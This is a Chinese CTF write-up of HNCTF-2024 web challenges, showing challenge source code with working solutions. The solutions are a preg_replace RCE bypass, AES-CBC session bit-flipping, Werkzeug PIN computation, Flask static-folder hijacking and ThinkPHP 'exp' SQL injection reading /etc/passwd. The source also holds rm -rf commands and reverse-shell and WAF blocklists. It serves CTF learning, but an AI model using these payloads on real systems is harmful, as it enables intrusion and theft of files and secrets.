HNCTF-2024

本文最后更新于:4 个月前

阴间时间,抽空看了几题

[Web]Please_RCE_Me

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
if($_GET['moran'] === 'flag'){
highlight_file(__FILE__);
if(isset($_POST['task'])&&isset($_POST['flag'])){
$str1 = $_POST['task'];
$str2 = $_POST['flag'];
if(preg_match('/system|eval|assert|call|create|preg|sort|{|}|filter|exec|passthru|proc|open|echo|`| |\.|include|require|flag/i',$str1) || strlen($str2) != 19 || preg_match('/please_give_me_flag/',$str2)){
die('hacker!');
}else{
preg_replace("/please_give_me_flag/ei",$_POST['task'],$_POST['flag']);
}
}
}else{
echo "moran want a flag.</br>(?moran=flag)";
}

一眼 preg_reaplce 命令执行

preg_match('/please_give_me_flag/',$str2) 用大小写绕过: please_give_me_flaG

1
task=phpinfo();&flag=please_give_me_flaG // 即可命令执行

笨方法

凑函数读根目录,多试几次

1
print_r(scandir(chr(ord(strrev(crypt(serialize(array())))))));

image-20240514000907610

1
flag=please_give_me_flaG&task=show_source(array_rand(array_flip(scandir(dirname(chdir(chr(ord(strrev(crypt(serialize(array())))))))))));

反复访问有概率读到 /flag

Better One

1
flag=please_give_me_flaG&task=print_r(file_get_contents($_POST[22]));&22=/flag

image-20240514003408485

[Web]flipPin

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
from flask import Flask, request, abort
from Crypto.Cipher import AES
from Crypto.Random import get_random_bytes
from Crypto.Util.Padding import pad, unpad
from flask import Flask, request, Response
from base64 import b64encode, b64decode

import json

default_session = '{"admin": 0, "username": "user1"}'
key = get_random_bytes(AES.block_size)


def encrypt(session):
iv = get_random_bytes(AES.block_size)
cipher = AES.new(key, AES.MODE_CBC, iv)
return b64encode(iv + cipher.encrypt(pad(session.encode('utf-8'), AES.block_size)))


def decrypt(session):
raw = b64decode(session)
cipher = AES.new(key, AES.MODE_CBC, raw[:AES.block_size])
try:
res = unpad(cipher.decrypt(raw[AES.block_size:]), AES.block_size).decode('utf-8')
return res
except Exception as e:
print(e)

app = Flask(__name__)

filename_blacklist = {
'self',
'cgroup',
'mountinfo',
'env',
'flag'
}

@app.route("/")
def index():
session = request.cookies.get('session')
if session is None:
res = Response(
"welcome to the FlipPIN server try request /hint to get the hint")
res.set_cookie('session', encrypt(default_session).decode())
return res
else:
return 'have a fun'

@app.route("/hint")
def hint():
res = Response(open(__file__).read(), mimetype='text/plain')
return res


@app.route("/read")
def file():

session = request.cookies.get('session')
if session is None:
res = Response("you are not logged in")
res.set_cookie('session', encrypt(default_session))
return res
else:
plain_session = decrypt(session)
if plain_session is None:
return 'don\'t hack me'

session_data = json.loads(plain_session)

if session_data['admin'] :
filename = request.args.get('filename')

if any(blacklist_str in filename for blacklist_str in filename_blacklist):
abort(403, description='Access to this file is forbidden.')

try:
with open(filename, 'r') as f:
return f.read()
except FileNotFoundError:
abort(404, description='File not found.')
except Exception as e:
abort(500, description=f'An error occurred: {str(e)}')
else:
return 'You are not an administrator'






if __name__ == "__main__":
app.run(host="0.0.0.0", port=9091, debug=True)

根据题名,可以看出是拿 Pin 码执行命令行

但首先要篡改 session 使 admin: 1

LINE CTF | Writeups (susanou.github.io)

搜到类似题目,可以得出 iv ^ ori_plain ^ target_plain = new iv

脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
from base64 import b64decode
from base64 import b64encode
from Crypto.Cipher import AES
from Crypto.Random import get_random_bytes
from Crypto.Util.Padding import pad, unpad
from Crypto.Util.number import long_to_bytes, bytes_to_long

key = get_random_bytes(AES.block_size)
# key= b64decode(input(""))


def encrypt(session):
iv = get_random_bytes(AES.block_size)
cipher = AES.new(key, AES.MODE_CBC, iv)
return b64encode(iv + cipher.encrypt(pad(session.encode("utf-8"), AES.block_size)))


def decrypt(session):
raw = b64decode(session)
cipher = AES.new(key, AES.MODE_CBC, raw[: AES.block_size])
try:
res = unpad(cipher.decrypt(raw[AES.block_size :]), AES.block_size).decode("utf-8")
return res
except Exception as e:
print(e)


# default1_session = '{"admin": 0, "username": "user1"}'
# en = encrypt(default1_session).decode()
en = input("") # 访问/拿到的session
session = en
default_session = b'{"admin": 0, "us' # ername": "user1"}'
target_session = b'{"admin": 1, "us' # sername": "user1"}'
iv = b64decode(session)[:16]
cipher = b64decode(session)[16:]

new_iv_num = bytes_to_long(iv) ^ bytes_to_long(default_session) ^ bytes_to_long(target_session)
new_iv = long_to_bytes(new_iv_num, 16)

exploit = b64encode(new_iv + cipher)
print(exploit.decode())

# a = decrypt(exploit)

# print(a)

拿到新的 session 访问 /read

分别读 /etc/passwd

1
2
3
4
5
root:x:0:0:root:/root:/bin/ash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin adm:x:3:4:adm:/var/adm:/sbin/nologin lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin sync:x:5:0:sync:/sbin:/bin/sync shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt mail:x:8:12:mail:/var/mail:/sbin/nologin news:x:9:13:news:/usr/lib/news:/sbin/nologin uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin operator:x:11:0:operator:/root:/sbin/nologin man:x:13:15:man:/usr/man:/sbin/nologin
postmaster:x:14:12:postmaster:/var/mail:/sbin/nologin cron:x:16:16:cron:/var/spool/cron:/sbin/nologin ftp:x:21:21::/var/lib/ftp:/sbin/nologin sshd:x:22:22:sshd:/dev/null:/sbin/nologin at:x:25:25:at:/var/spool/cron/atjobs:/sbin/nologin squid:x:31:31:Squid:/var/cache/squid:/sbin/nologin
xfs:x:33:33:X Font Server:/etc/X11/fs:/sbin/nologin games:x:35:35:games:/usr/games:/sbin/nologin cyrus:x:85:12::/usr/cyrus:/sbin/nologin vpopmail:x:89:89::/var/vpopmail:/sbin/nologin ntp:x:123:123:NTP:/var/empty:/sbin/nologin smmsp:x:209:209:smmsp:/var/spool/mqueue:/sbin/nologin
guest:x:405:100:guest:/dev/null:/sbin/nologin nobody:x:65534:65534:nobody:/:/sbin/nologin ctfUser:x:1000:1000:Linux User,,,:/home/ctfUser:/bin/ash

session 设置为空让他报错,拿路径

1
/usr/lib/python3.9/site-packages/flask/app.py/

/proc/sys/kernel/random/boot_id/proc/1/cpuset 拼接

网上拿个 3.8 以上的脚本运行即可得 Pin

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
import hashlib
from itertools import chain

probably_public_bits = ["ctfUser", "flask.app", "Flask", "/usr/lib/python3.9/site-packages/flask/app.py"]

private_bits = ["77242943286536", "d8c226fb-ceb1-4366-ad71-e8e995dc3065295994fbbc16ccd78255e09a07cfcbc3c1829cf4f812bccbaf1030372756b4db"] # get_machine_id(), /etc/machine-id /proc/sys/kernel/random/boot_id

h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode("utf-8")
h.update(bit)
h.update(b"cookiesalt")

cookie_name = f"__wzd{h.hexdigest()[:20]}"

# If we need to generate a pin we salt it a bit more so that we don't
# end up with the same value and generate out 9 digits
num = None
if num is None:
h.update(b"pinsalt")
num = f"{int(h.hexdigest(), 16):09d}"[:9]

# Format the pincode in groups of digits for easier remembering if
# we don't have a result yet.
rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = "-".join(num[x : x + group_size].rjust(group_size, "0") for x in range(0, len(num), group_size))
break
else:
rv = num

print(rv)

拿到 Pin

1
os.popen("cat /proc/self/environ | grep 'CTF'").read()

读取环境即可

[Web]ezFlask(非预期)

第一眼感觉是软连接,但是没有目录权限

参考CTF中Python_Flask应用的一些解题方法总结 | Savant’s Blog (lxscloud.top)中的DASCTF-2023-7月赛-ezflask

尝试修改 "_static_folder":"/"

一顿操作得到

1
type("cls", (), {"__init__": lambda self: None}).__init__.__globals__["app"].__setattr__("_static_folder", "/")

尝试访问 /static/etc/passwd 成功

这里因为非预期的原因,flag还没生成,所以再随便填个命令使其生成即可,比如:

1
"1+1"

读取 /static/flag 即可

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
from flask import Flask, request, abort, render_template_string , config
from jinja2 import Template
import os
import shutil
import re



app = Flask(__name__)
# 路由可用性标志
routes_enabled = {
'Adventure': True
}

eval('__import__("os").popen("sh /start.sh").read()')
eval('__import__("os").popen("chmod -R 000 /app/static/").read()')
eval('__import__("os").popen("rm -rf /bin/mkdir").read()')
eval('__import__("os").popen("rm -rf /bin/touch").read()')
eval('__import__("os").popen("rm -rf /bin/cp").read()')
eval('__import__("os").popen("rm -rf /bin/mv").read()')
eval('__import__("os").popen("rm -rf /bin/curl").read()')
eval('__import__("os").popen("rm -rf /bin/ping").read()')
eval('__import__("os").popen("rm -rf /bin/wget").read()')

if 'GZCTF_FLAG' in os.environ:
del os.environ['GZCTF_FLAG']

@app.route('/')
def index():

return ('冒险即将开始!!!\n'
'请移步/Adventure路由进行命令执行,后端语句为:\n'
' cmd = request.form[\'cmd\']\n'
' eval(cmd)\n'
'注意,你仅有一次机会,在进行唯一一次成功的命令执行后生成flag并写入/flag\n'
'执行无回显,目录没权限部分命令ban,也不要想着写文件~\n')


@app.route('/Adventure', methods=['POST'])
def rce():
if routes_enabled.get('Adventure', False):
# 获取POST请求中的cmd参数
cmd = request.form['cmd']


try:
bash_pattern = r'(bash|[-]c|[-]i|[-]d|dev|tcp|http|https|base|echo|YmFzaCA|bas|ash|ba\"\"sh|ba\'\'sh|ba\'sh|ba\"sh)'

# 检查是否反弹shell
if bool(re.search(bash_pattern, cmd)):
return "亲亲这边不支持反弹shell哦~", 200

eval(cmd)

eval('__import__("os").popen("rm -rf /app/static/").read()')

# 编码后正则
pattern = [
r'@app\.route',
r'ZnJvbSBmbGFzay',
r'%40app.route',
r'\x40\x61\x70\x70\x2e\x72\x6f\x75\x74\x65',
r'@ncc\.ebhgr',
r'etuor\.ppa@',
r'\u0040\u0061\u0070\u0070\u002e\u0072\u006f\u0075\u0074\u0065',
r'from flask import Flask',
r'from%20flask%20import%20Flask',
r'\x66\x72\x6f\x6d\x20\x66\x6c\x61\x73\x6b\x20\x69\x6d\x70\x6f\x72\x74\x20\x46\x6c\x61\x73\x6b',
r'\u0066\u0072\u006f\u006d\u0020\u0066\u006c\u0061\u0073\u006b\u0020\u0069\u006d\u0070\u006f\u0072\u0074\u0020\u0046\u006c\u0061\u0073\u006b',
r'sebz synfx vzcbeg Synfx',
r'&#102;&#114;&#111;&#109;&#32;&#102;&#108;&#97;&#115;&#107;&#32;&#105;&#109;&#112;&#111;&#114;&#116;&#32;&#70;&#108;&#97;&#115;&#107;',
r'ksalF tropmi ksalf morf',
r'flag',
r'galf',
]

pattern = '|'.join(pattern) # 将列表合并为一个正则表达式字符串


# 检查是否匹配
if bool(re.search(pattern, eval(cmd))):
return "不要想着读取源码哦~", 200


# 关闭路由
routes_enabled['Adventure'] = not routes_enabled['Adventure']
with open('/etc/jaygalf', 'r') as source_file:
content = source_file.read()
with open('/flag', 'w') as target_file:
target_file.write(content)

eval('__import__("os").popen("rm -rf /app/static/").read()')

return f"Success! 但是不回显嘻嘻", 200
except Exception as e:
if re.search(r"View function mapping is overwriting an existing endpoint function: (\w+)", str(e)):
routes_enabled['Adventure'] = not routes_enabled['Adventure']
with open('/etc/jaygalf', 'r') as source_file:
content = source_file.read()
with open('/flag', 'w') as target_file:
target_file.write(content)
return f"恭喜师傅,是预期解!!!!", 200

return f"Error executing command: {e}", 400

else:
abort(403) # 如果路由被禁用,则返回403禁止访问





if __name__ == '__main__':
app.run(debug=False,host='0.0.0.0', port=9035)

[Web]ez_tp

不好评价

关键源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
<?php
namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller {
public function index(){
//$this->show('<style type="text/css">*{ padding: 0; margin: 0; } div{ padding: 4px 48px;} body{ background: #fff; font-family: "微软雅黑"; color: #333;font-size:24px} h1{ font-size: 100px; font-weight: normal; margin-bottom: 12px; } p{ line-height: 1.8em; font-size: 36px } a,a:hover{color:blue;}</style><div style="padding: 24px 48px;"> <h1>:)</h1><p>欢迎使用 <b>ThinkPHP</b>!</p><br/>版本 V{$Think.version}</div><script type="text/javascript" src="http://ad.topthink.com/Public/static/client.js"></script><thinkad id="ad_55e75dfae343f5a1"></thinkad><script type="text/javascript" src="http://tajs.qq.com/stats?sId=9347272" charset="UTF-8"></script>','utf-8');
header("Content-type:text/html;charset=utf-8");
echo '装起来了';
}
public function h_n(){
function waf() {
if (!function_exists('getallheaders')) {
function getallheaders() {
foreach ($_SERVER as $name => $value) {
if (substr($name, 0, 5) == 'HTTP_') $headers[str_replace(' ', '-', ucwords(strtolower(str_replace('_', ' ', substr($name, 5))))) ] = $value;
}
return $headers;
}
}
$get = $_GET;
$post = $_POST;
$cookie = $_COOKIE;
$header = getallheaders();
$files = $_FILES;
$ip = $_SERVER["REMOTE_ADDR"];
$method = $_SERVER['REQUEST_METHOD'];
$filepath = $_SERVER["SCRIPT_NAME"];
//rewirte shell which uploaded by others, you can do more
foreach ($_FILES as $key => $value) {
$files[$key]['content'] = file_get_contents($_FILES[$key]['tmp_name']);
file_put_contents($_FILES[$key]['tmp_name'], "virink");
}
unset($header['Accept']); //fix a bug
$input = array(
"Get" => $get,
"Post" => $post,
"Cookie" => $cookie,
"File" => $files,
"Header" => $header
);
//deal with
$pattern = "insert|update|delete|and|or|\/\*|\*|\.\.\/|\.\/|into|load_file|outfile|dumpfile|sub|hex";
$pattern.= "|file_put_contents|fwrite|curl|system|eval|assert";
$pattern.= "|passthru|exec|system|chroot|scandir|chgrp|chown|shell_exec|proc_open|proc_get_status|popen|ini_alter|ini_restore";
$pattern.= "|`|dl|openlog|syslog|readlink|symlink|popepassthru|stream_socket_server|assert|pcntl_exec";
$vpattern = explode("|", $pattern);
$bool = false;
foreach ($input as $k => $v) {
foreach ($vpattern as $value) {
foreach ($v as $kk => $vv) {
if (preg_match("/$value/i", $vv)) {
$bool = true;
break;
}
}
if ($bool) break;
}
if ($bool) break;
}
return $bool;
}

$name = I('GET.name');
$User = M("user");

if (waf()){
$this->index();
}else{
$ret = $User->field('username,age')->where(array('username'=>$name))->select();
echo var_export($ret, true);
}

}
}

查看配置文件,可以知道是 Thinkphp3.2.3

1
2
3
if(preg_match('/^(EXP|NEQ|GT|EGT|LT|ELT|OR|XOR|LIKE|NOTLIKE|NOT BETWEEN|NOTBETWEEN|BETWEEN|NOTIN|NOT IN|IN)$/i',$value)){
$value .= ' ';
}

搜索得知,exp注入 较为符合,但是在官方版本 I()函数里过滤了 exp,卡了半天

后来查看发现作者应该是重新删掉了 exp ?

1
http://hnctf.imxbt.cn:48541/index.php/Home/Index/h_n?name[0]=exp&name[1]==1 or 1=1

即可注入

1
2
3
# name[0]=exp&name[1]==1 union select 1,load_file('/etc/passwd')

array ( 0 => array ( 'username' => '1', 'age' => 'root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin libuuid:x:100:101::/var/lib/libuuid: syslog:x:101:104::/home/syslog:/bin/false mysql:x:102:105:MySQL Server,,,:/nonexistent:/bin/false ', ), )

然后又卡在了奇怪的地方,以为 flag 在服务器上,读了半天环境没读出来

结果看wp发现在数据库里(哎

1
2
3
# =1 union select 12,flag from think.flag

array ( 0 => array ( 'username' => '12', 'age' => 'H&NCTF{Cjp_aae0e1d1-4c8f-4488-98c0-58e64bc32555}', ), )

后来才知道一开始的版本log都泄露了

不懂怎么不把题下了


HNCTF-2024
http://example.com/posts/5ae288a7/
作者
Fanllspd
发布于
2024年5月13日
更新于
2024年5月14日
许可协议